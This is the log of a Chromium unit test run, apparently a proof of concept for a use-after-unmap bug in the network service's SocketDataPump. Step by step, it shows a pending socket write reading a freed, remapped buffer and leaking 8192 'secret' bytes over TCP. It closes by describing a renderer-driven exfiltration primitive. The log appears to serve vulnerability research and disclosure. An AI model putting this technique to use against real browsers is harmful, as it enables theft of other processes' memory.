[.] Sanitizer coverage enabled. Counter map size: 5917575, Cmp map size: 262144
Note: Google Test filter = SocketDataPumpPOC.OnShutdownDuringPendingWrite_UseAfterUnmap
[==========] Running 1 test from 1 test suite.
[----------] Global test environment set-up.
[----------] 1 test from SocketDataPumpPOC
[ RUN      ] SocketDataPumpPOC.OnShutdownDuringPendingWrite_UseAfterUnmap
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:580] [POC] Write is pending (ERR_IO_PENDING). WrappedIOBuffer span: data=0x7b3b09ca4fca len=196662
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:583] [POC] Mapping before pump destruction: 7b3b09c95000-7b3b09cd5000 rw-s 00000000 00:bf 10                         /dev/shm/.org.chromium.Chromium.jt0KsL (deleted)
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:613] [POC] Closing receive consumer handle to fire receive_stream_close_watcher_...
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:440] [POC] OnShutdown called -- destroying SocketDataPump while a Write is pending. ~MojoToNetPendingBuffer will close the consumer handle and UNMAP the ring buffer.
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:634] [POC] After pump destruction, mapping at 0x7b3b09ca4fca: <UNMAPPED — DANGLING!>
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:648] [POC] After dropping producer too, mapping at 0x7b3b09ca4fca: <UNMAPPED — DANGLING!>
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:659] [POC] CONFIRMED: SocketPosix::write_buf_->data() = 0x7b3b09ca4fca now points into UNMAPPED virtual memory.
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:701] [POC] Re-mapped freed VA range [0x7b3b09ca4000, 0x7b3b09cd5000) (200704 bytes) and filled with 0x53. When fd becomes writable, send() will transmit 196662 bytes from this NEW mapping starting at 0x7b3b09ca4fca.
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:725] [POC] client fd=95. Draining server-side recv buffer to make it writable. Expect SIGSEGV in SocketPosix::DoWrite → send()...
[7500:7500:ERROR:net/socket/socket_posix.cc:567] [POC] SocketPosix::WriteCompleted firing. write_buf_->data()=0x7b3b09ca4fca write_buf_len_=196662
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:806] [POC] Server received: 65482 bytes of original (0x41), 8192 bytes of SECRET (0x53), 0 bytes of other.
[7500:7500:ERROR:services/network/socket_data_pump_unittest.cc:821] [POC] *** INFORMATION LEAK CONFIRMED *** 8192 bytes of the re-mapped 'secret' content were transmitted over TCP via SocketPosix::DoWrite reading the dangling WrappedIOBuffer span. This is the network-process info-leak primitive: a renderer can fill the freed VA with another data pipe / shared region and exfiltrate up to 196662 bytes per trigger.
[       OK ] SocketDataPumpPOC.OnShutdownDuringPendingWrite_UseAfterUnmap (860 ms)
[----------] 1 test from SocketDataPumpPOC (861 ms total)

[----------] Global test environment tear-down
[==========] 1 test from 1 test suite ran. (862 ms total)
[  PASSED  ] 1 test.